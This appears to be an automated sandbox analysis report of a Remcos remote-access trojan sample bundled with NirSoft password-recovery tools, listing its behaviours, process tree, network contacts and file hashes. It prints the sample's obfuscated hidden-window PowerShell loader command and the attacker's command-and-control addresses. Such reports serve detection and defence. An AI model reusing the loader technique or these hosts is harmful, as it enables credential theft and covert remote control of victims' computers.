Analysis Overview
SHA256
7cc1d318287ed3311ffee12c37ee32ee94208d2f5860e99a5d54a5fb24dddef5
Threat Level: Known bad
The file 9be2bb8f46192a7cf7006587c0e95d54.bin was found to be: Known bad.
Malicious Activity Summary
Remcos
NirSoft MailPassView
Detected Nirsoft tools
NirSoft WebBrowserPassView
Credentials from Password Stores: Credentials from Web Browsers
Command and Scripting Interpreter: PowerShell
Accesses Microsoft Outlook accounts
Suspicious use of NtSetInformationThreadHideFromDebugger
Suspicious use of SetThreadContext
Suspicious use of NtCreateThreadExHideFromDebugger
Drops file in Windows directory
System Location Discovery: System Language Discovery
Program crash
Enumerates physical storage devices
NSIS installer
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious behavior: MapViewOfSection
Suspicious use of SetWindowsHookEx
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-08-19 01:35
Signatures
NSIS installer
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-08-19 01:34
Reported
2024-08-19 01:37
Platform
win7-20240705-en
Max time kernel
149s
Max time network
150s
Command Line
Signatures
Remcos
Credentials from Password Stores: Credentials from Web Browsers
Detected Nirsoft tools
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
NirSoft MailPassView
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
NirSoft WebBrowserPassView
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Accesses Microsoft Outlook accounts
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts | C:\Program Files (x86)\windows mail\wab.exe | N/A |
Suspicious use of NtCreateThreadExHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\windows mail\wab.exe | N/A |
Suspicious use of NtSetInformationThreadHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\windows mail\wab.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 2136 set thread context of 2960 | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files (x86)\windows mail\wab.exe |
| PID 2960 set thread context of 2680 | N/A | C:\Program Files (x86)\windows mail\wab.exe | C:\Program Files (x86)\windows mail\wab.exe |
| PID 2960 set thread context of 1668 | N/A | C:\Program Files (x86)\windows mail\wab.exe | C:\Program Files (x86)\windows mail\wab.exe |
| PID 2960 set thread context of 1800 | N/A | C:\Program Files (x86)\windows mail\wab.exe | C:\Program Files (x86)\windows mail\wab.exe |
Drops file in Windows directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\albocarbon.ile | C:\Users\Admin\AppData\Local\Temp\4c614a69aebe97562d09c05c5b08db70ba7cba08f6698e5a87fc85407e2fb940.exe | N/A |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\windows mail\wab.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\windows mail\wab.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\windows mail\wab.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\windows mail\wab.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\4c614a69aebe97562d09c05c5b08db70ba7cba08f6698e5a87fc85407e2fb940.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\windows mail\wab.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\windows mail\wab.exe | N/A |
Suspicious behavior: MapViewOfSection
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\windows mail\wab.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\windows mail\wab.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\windows mail\wab.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Program Files (x86)\windows mail\wab.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\windows mail\wab.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\4c614a69aebe97562d09c05c5b08db70ba7cba08f6698e5a87fc85407e2fb940.exe
"C:\Users\Admin\AppData\Local\Temp\4c614a69aebe97562d09c05c5b08db70ba7cba08f6698e5a87fc85407e2fb940.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -windowstyle hidden "$Afmatningens=Get-Content 'C:\Users\Admin\AppData\Local\Outlaughing235\ephemeric\Antipatheticalness\Anskaffet.Sys';$Unsucculent=$Afmatningens.SubString(619,3);.$Unsucculent($Afmatningens)"
C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe"
C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\mzntfqioczbbggweytzpwa"
C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\wbslfjtpqhtgiukqhdurznvdo"
C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\zvxwgtejeplttahuyohsksquwikl"
Network
| Country | Destination | Domain | Proto |
| VN | 103.67.162.225:80 | 103.67.162.225 | tcp |
| VN | 103.67.162.233:9462 | tcp | |
| VN | 103.67.162.233:9462 | tcp | |
| US | 8.8.8.8:53 | geoplugin.net | udp |
| NL | 178.237.33.50:80 | geoplugin.net | tcp |
Files
memory/2136-7-0x0000000073A81000-0x0000000073A82000-memory.dmp
memory/2136-8-0x0000000073A80000-0x000000007402B000-memory.dmp
memory/2136-9-0x0000000073A80000-0x000000007402B000-memory.dmp
memory/2136-10-0x0000000073A80000-0x000000007402B000-memory.dmp
memory/2136-11-0x0000000073A80000-0x000000007402B000-memory.dmp
C:\Users\Admin\AppData\Local\Outlaughing235\ephemeric\Antipatheticalness\Anskaffet.Sys
| MD5 | d9a344e48210c5d555312be94347270a |
| SHA1 | 8e1957cb5f8e181411781bca9fa72f57e8d0d2b1 |
| SHA256 | e31954e86c5fadd5da5409be4c6266ac0740652f25073eb29f87d6727d0668b6 |
| SHA512 | ed1c9a1ce86f20c3eb860079067a7476b8e543c212b0fccd1e73183b6535dec74f34ece8b0225f10fd2f211af68bac6d7302c3b91e1a88d30285ad202854d853 |
memory/2136-14-0x0000000073A80000-0x000000007402B000-memory.dmp
C:\Users\Admin\AppData\Local\Outlaughing235\ephemeric\Sacrificed.Guf
| MD5 | e5923d356c8ca6e039eb3c12c3f8ce7a |
| SHA1 | b920b2490fb5bbcefb281df27180eaa4f81825fc |
| SHA256 | a3761e7a154e7defc78d9be7e003d327de84520afe5d8adc90074822ade75b65 |
| SHA512 | 41af37685e04e272fe7b0b4e0dcb93b0ca6e33f930dc362ba82f93fa428ba0664ce06699c21ccb55a84c5e927d30415fe110cb6f35b1028d46f97d2f7ec95f4f |
memory/2136-16-0x0000000073A80000-0x000000007402B000-memory.dmp
memory/2136-17-0x0000000006800000-0x000000000B675000-memory.dmp
memory/2136-18-0x0000000073A80000-0x000000007402B000-memory.dmp
memory/2960-19-0x0000000000B90000-0x0000000001BF2000-memory.dmp
memory/2960-21-0x0000000000B90000-0x0000000001BF2000-memory.dmp
memory/2680-29-0x0000000000400000-0x0000000000478000-memory.dmp
memory/2680-28-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
memory/1800-36-0x0000000000400000-0x0000000000424000-memory.dmp
memory/1668-31-0x0000000000400000-0x0000000000462000-memory.dmp
memory/1800-35-0x0000000000400000-0x0000000000424000-memory.dmp
memory/2680-39-0x0000000000400000-0x0000000000478000-memory.dmp
memory/2680-38-0x0000000000400000-0x0000000000478000-memory.dmp
memory/1668-37-0x0000000000400000-0x0000000000462000-memory.dmp
memory/1668-34-0x0000000000400000-0x0000000000462000-memory.dmp
memory/1800-33-0x0000000000400000-0x0000000000424000-memory.dmp
memory/1800-32-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\mzntfqioczbbggweytzpwa
| MD5 | f3b25701fe362ec84616a93a45ce9998 |
| SHA1 | d62636d8caec13f04e28442a0a6fa1afeb024bbb |
| SHA256 | b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209 |
| SHA512 | 98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84 |
memory/2960-45-0x0000000000B90000-0x0000000001BF2000-memory.dmp
memory/2960-47-0x0000000000450000-0x0000000000469000-memory.dmp
memory/2960-51-0x0000000000450000-0x0000000000469000-memory.dmp
memory/2960-50-0x0000000000450000-0x0000000000469000-memory.dmp
memory/2960-53-0x0000000000B90000-0x0000000001BF2000-memory.dmp
C:\ProgramData\remcos\logs.dat
| MD5 | 1deeb0fd50328560b99c71bb2e0af76a |
| SHA1 | 585093b6387c51e736249615a55fb68cafda0619 |
| SHA256 | 63f3122dd7b902c88770d845b2a5fd5ecc84ea2ce093fd86fd74c961b19c078c |
| SHA512 | 97d01ed0aa4c8c8bd936595efb9f61d535eb4ebce976539da794a5ade331cad9b11a6140d9436336f2b788b2ff2bccb57498efd9c5bda4033cdb7b355727e96f |
memory/2960-56-0x0000000000B90000-0x0000000001BF2000-memory.dmp
memory/2960-59-0x0000000000B90000-0x0000000001BF2000-memory.dmp
memory/2960-62-0x0000000000B90000-0x0000000001BF2000-memory.dmp
memory/2960-65-0x0000000000B90000-0x0000000001BF2000-memory.dmp
memory/2960-68-0x0000000000B90000-0x0000000001BF2000-memory.dmp
memory/2960-71-0x0000000000B90000-0x0000000001BF2000-memory.dmp
memory/2960-74-0x0000000000B90000-0x0000000001BF2000-memory.dmp
memory/2960-77-0x0000000000B90000-0x0000000001BF2000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-08-19 01:34
Reported
2024-08-19 01:37
Platform
win10v2004-20240802-en
Max time kernel
91s
Max time network
145s
Command Line
Signatures
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Drops file in Windows directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\albocarbon.ile | C:\Users\Admin\AppData\Local\Temp\4c614a69aebe97562d09c05c5b08db70ba7cba08f6698e5a87fc85407e2fb940.exe | N/A |
Enumerates physical storage devices
Program crash
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WerFault.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\4c614a69aebe97562d09c05c5b08db70ba7cba08f6698e5a87fc85407e2fb940.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2492 wrote to memory of 4948 | N/A | C:\Users\Admin\AppData\Local\Temp\4c614a69aebe97562d09c05c5b08db70ba7cba08f6698e5a87fc85407e2fb940.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| PID 2492 wrote to memory of 4948 | N/A | C:\Users\Admin\AppData\Local\Temp\4c614a69aebe97562d09c05c5b08db70ba7cba08f6698e5a87fc85407e2fb940.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| PID 2492 wrote to memory of 4948 | N/A | C:\Users\Admin\AppData\Local\Temp\4c614a69aebe97562d09c05c5b08db70ba7cba08f6698e5a87fc85407e2fb940.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Users\Admin\AppData\Local\Temp\4c614a69aebe97562d09c05c5b08db70ba7cba08f6698e5a87fc85407e2fb940.exe
"C:\Users\Admin\AppData\Local\Temp\4c614a69aebe97562d09c05c5b08db70ba7cba08f6698e5a87fc85407e2fb940.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -windowstyle hidden "$Afmatningens=Get-Content 'C:\Users\Admin\AppData\Local\Outlaughing235\ephemeric\Antipatheticalness\Anskaffet.Sys';$Unsucculent=$Afmatningens.SubString(619,3);.$Unsucculent($Afmatningens)"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4948 -ip 4948
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4948 -s 2328
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 217.106.137.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 67.31.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 50.23.12.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 171.39.242.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.221.184.93.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 8.8.8.8:53 | 10.28.171.150.in-addr.arpa | udp |
Files
memory/4948-5-0x0000000073A6E000-0x0000000073A6F000-memory.dmp
memory/4948-6-0x0000000002300000-0x0000000002336000-memory.dmp
memory/4948-8-0x0000000005060000-0x0000000005688000-memory.dmp
memory/4948-7-0x0000000073A60000-0x0000000074210000-memory.dmp
memory/4948-9-0x0000000004D70000-0x0000000004D92000-memory.dmp
memory/4948-10-0x0000000004EE0000-0x0000000004F46000-memory.dmp
memory/4948-11-0x0000000004FC0000-0x0000000005026000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hnghdlnv.akr.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/4948-21-0x0000000005690000-0x00000000059E4000-memory.dmp
memory/4948-22-0x0000000005C30000-0x0000000005C4E000-memory.dmp
memory/4948-23-0x0000000005C70000-0x0000000005CBC000-memory.dmp
memory/4948-24-0x0000000006BE0000-0x0000000006C76000-memory.dmp
memory/4948-25-0x0000000006160000-0x000000000617A000-memory.dmp
memory/4948-26-0x00000000061B0000-0x00000000061D2000-memory.dmp
memory/4948-27-0x0000000007230000-0x00000000077D4000-memory.dmp
C:\Users\Admin\AppData\Local\Outlaughing235\ephemeric\Antipatheticalness\Anskaffet.Sys
| MD5 | d9a344e48210c5d555312be94347270a |
| SHA1 | 8e1957cb5f8e181411781bca9fa72f57e8d0d2b1 |
| SHA256 | e31954e86c5fadd5da5409be4c6266ac0740652f25073eb29f87d6727d0668b6 |
| SHA512 | ed1c9a1ce86f20c3eb860079067a7476b8e543c212b0fccd1e73183b6535dec74f34ece8b0225f10fd2f211af68bac6d7302c3b91e1a88d30285ad202854d853 |
memory/4948-29-0x0000000007E60000-0x00000000084DA000-memory.dmp
memory/4948-31-0x0000000073A60000-0x0000000074210000-memory.dmp